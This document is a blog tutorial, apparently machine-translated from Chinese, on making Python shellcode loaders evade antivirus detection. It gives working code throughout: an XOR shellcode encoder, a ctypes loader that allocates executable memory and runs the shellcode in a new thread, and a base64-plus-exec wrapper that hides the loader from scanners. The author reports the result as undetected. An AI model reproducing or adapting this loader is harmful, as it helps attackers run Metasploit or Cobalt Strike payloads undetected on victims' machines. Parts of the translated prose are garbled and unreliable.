Kill Free Base [py calls shellcode]

Shell ode calls based on py exemption

AUTHOR:ILU

What is shellcode

A shellcode is a piece of code that is executed to exploit a software vulnerability. A shellcode is a 16-digit machine code that often gives an attacker the name of a shell. Shelcodes are often written in machine language. After the temporary eip overflows, a shellcode machine code can be inserted that allows the CPU to execute, allowing the computer to execute any command from the attacker. (From Baidu)

Shelcode Call Process

We've seen this scenario in a lot of guys'exemption articles. We can only see where shellcodes are stored, but the specific calling logic in the code is not clear, even the function. Muddled can only set a shellcode, as long as the shellcode set in can not avoid killing, it is not clear where to start.

So here, in order to make everyone understand as much as possible, let's first take a look at the process of shellcode invocation.

ps: Maybe what I'm saying isn't accurate, it's just my understanding of shellcode calls.

1. Get ready shellcode(Can be msf Of shellcode, Or it can be CS Of shellcode, Or other)
2. Request a section of virtual memory (as shellcode Stored container)
3. hold shellcode Inject into the requested virtual memory
4. Calling in virtual memory using threads (which can have many methods) shellcode And execute

Introduction to Win32 Api

In windows, if you want to call shellcode, you can't escape the call of win32 api, if you can assemble it, you can do so.

Here's an introduction to the common API s. Function needs to query MSDN to understand, need a little win32 programming base. I said I had a headache learning, but the basics were not difficult.

# virtualalloc: Request virtual memory
LPVOID VirtualAlloc(  
  LPVOID lpAddress,        // Specifies the desired starting address of the area to be allocated. Normally null
  SIZE_T dwSize,           // Stack size to allocate
  DWORD flAllocationType,  // Assignment of type
  DWORD flProtect          // Execution rights of memory
);
// Property Interpretation
flAllocationType:  
	MEM_COMMIT:  Allocates physical storage for the specified memory page area in a paging file on memory or disk. This function initializes memory to zero.(Commit to physical memory)
	MEM_REVERSE: Retain a range of process virtual address space without allocating any actual physical storage to the in-memory or on-disk paging files. (Keep virtual memory)
        
flProtect: 
    PAGE_EXECUTE_READWRITE:  Memory pages are allocated as readable, writable and executable
    PAGE_READWRITE:  Memory pages are allocated as readable and writable

#RtlMoveMemory: Copies the contents of one buffer to another.
VOID RtlMoveMemory(  
	IN VOID UNALIGNED  *Destination,   // Target to copy to  
	IN CONST VOID UNALIGNED  *Source,  // Memory block to transfer  
	IN SIZE_T  Length      			   // Memory block size
);
        
# CreateThread: Create Thread
HANDLE CreateThread(  
	LPSECURITY_ATTRIBUTES lpThreadAttributes, // Security property, typically set to 0 or null 
 	SIZE_T dwStackSize,                       // Initial stack size, set to 0   
   	LPTHREAD_START_ROUTINE lpStartAddress,    // Thread function address  
  	LPVOID lpParameter,                       // Thread parameter, 0 if no parameter is passed   
    DWORD dwCreationFlags,                    // Create thread flags to control threads  
    LPDWORD lpThreadId                        // Thread id
);

# WaitForSingleObject: Wait for the thread to finish executing
DWORD WaitForSingleObject(
    HANDLE hHandle,        // handle
    DWORD dwMilliseconds   // Wait flag, commonly INFINITE, that is to wait indefinitely for the thread to finish executing
);

How py executes win32 api

python can't call win32 api directly, we need a c extension module, ctypes. And we'll use a very important dll file--kernel32.dll, why? Because this dll file contains functions of win32 api, we can call Kernel32 from ctypes. The dll file implements the call to shellcode.

The exact usage of ctypes needs to be read in the official manual itself. I'll try to explain the role of each line in the code without much explanation.

Topics

At this point, we're going to start calling shellcode.

In conjunction with the exemption article in the previous chapter, let's make a confusion about shellcode and see how it works.

XOR shellcode code:
def enc(string, key):
    result = b""
    for i in range(len(string)):
        result += chr(ord(string[i]) ^ key).encode()
    return result

if __name__ == '__main__':
    string = ""
    key = 50
    result = enc(string, key)
    with open("shellcode.bin", 'wb') as f:
        f.write(result)
shellcode load code
import ctypes

# Call shellcode
def callSC(SC, key):
    # Restore XOR
    buf = [ord(SC[i]) ^ key for i in range(len(SC))]
    # To a variable byte array
    shellcode = bytearray(buf)
    # Calculate shellcode length
    size = len(shellcode)
    # Call kernel32.dll
    kernel32 = ctypes.windll.kernel32
    # Modify function return data type
    kernel32.VirtualAlloc.restype = ctypes.c_uint64
    # MEM_COMMIT has a set median value of 0x00001000 in c
    MEM_COMMIT = 0x00001000
    # PAGE_EXECUTE_READWRITE has a set median value of 0x40 in c
    PAGE_EXECUTE_READWRITE = 0x40
    # Request memory space
    ptr = kernel32.VirtualAlloc(
        ctypes.c_int(0), # Base address can be filled in 0, but data type needs to be converted
        ctypes.c_int(size), # Set Stack Size
        ctypes.c_int(MEM_COMMIT), # Commit to physical memory
        ctypes.c_int(PAGE_EXECUTE_READWRITE) # Set permissions to read, write and executable
    )
    # Put shellcode in buffer
    buf = (ctypes.c_char * size).from_buffer(shellcode)
    kernel32.RtlMoveMemory(
        ctypes.c_uint64(ptr), # Memory Requested
        buf,  # shellcode
        ctypes.c_int(size)  # Moving data size
    )
    # Create Thread Call Shelcode
    hThread = kernel32.CreateThread(
        ctypes.c_int(0),
        ctypes.c_int(0),
        ctypes.c_uint64(ptr), # Calling shellcode with threaded functions
        ctypes.c_int(0),
        ctypes.c_int(0),
        ctypes.pointer(ctypes.c_int(0)) # Thread id is pointer type, need to pass in address, so use ctypes.pointer
    )
    # Wait for the thread to finish executing, close the program
    # INIFITE has a set median value of -1 in c
    kernel32.WaitForSingleObject(ctypes.c_int(hThread), ctypes.c_int(-1))

if __name__ == '__main__':
    key = 50
    with open("shellcode.bin", 'rb') as f:
        sc = f.read().decode()
    callSC(sc, key)
Local Kill Free Effect

Direct py file exemption, no virus reporting

Test the online effect of py execution

Generate exe for killing-free effect

Compiling the velvet venom is not a problem. Let's deal with the key calling functions. I'm more direct here, encrypting the whole function base64 directly. Here is the difference between eval and exec. eval can only execute a single statement, such as: eval ("os.system ('calc')); Exec can execute multiple statements such as exec("import os;os.system('calc')).

import ctypes
import base64


exec(base64.b64decode(b'').decode())


if __name__ == '__main__':
    key = 50
    with open("shellcode.bin", 'rb') as f:
        sc = f.read().decode()
    callSC(sc, key)

You can see that the entire fluff compilation process is not poisoned, then execute the test online.

Normally online, then simple XOR or b64 encoding can be used to hang the flannel.

Planet 2D Code

Added by christa on Thu, 27 Jan 2022 12:35:42 +0200